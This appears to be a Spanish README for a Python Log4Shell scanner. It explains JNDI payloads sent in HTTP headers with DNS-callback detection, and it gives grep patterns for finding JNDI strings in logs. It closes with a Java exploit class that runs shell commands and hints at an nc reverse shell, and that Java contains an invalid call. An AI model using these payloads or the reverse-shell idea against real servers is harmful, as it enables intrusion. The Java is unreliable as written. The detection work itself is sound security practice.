
Escáner multihilo en Python que detecta Log4Shell (CVE-2021-44228) enviando solicitudes HTTP manipuladas con payloads JNDI y monitoreando devoluciones de llamada DNS para identificar hosts vulnerables.
Este script está basado en takito1812/log4j-detect
El script "log4j-detect.py" desarrollado en Python 3 se encarga de detectar si una lista de URLs son vulnerables a CVE-2021-44228.
Para ello, envía una petición GET usando hilos (mayor rendimiento) a cada una de las URLs de la lista especificada. La petición GET contiene un payload que, en caso de éxito, devuelve una petición DNS a Burp Collaborator / interactsh. Este payload se envía en un parámetro de prueba y en las cabeceras "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication". Finalmente, si un host es vulnerable, aparecerá un número de identificación en el prefijo del subdominio del payload de Burp Collaborator / interactsh y en la salida del script, lo que permite saber qué host ha respondido vía DNS.
Cabe señalar que este script solo gestiona la detección DNS de la vulnerabilidad y no prueba la ejecución remota de comandos.
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
Para comprobar si alguien intentó hacer una conexión a través de un servidor ldap
Aquí tienes un ejemplo de código que puedes lanzar para probar si tu servidor puede ser comprometido (Si es una shell de windows puedes usar simplemente sintaxis de powershell)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Algo así podría permitirte hacer una reverse shell con el comando nc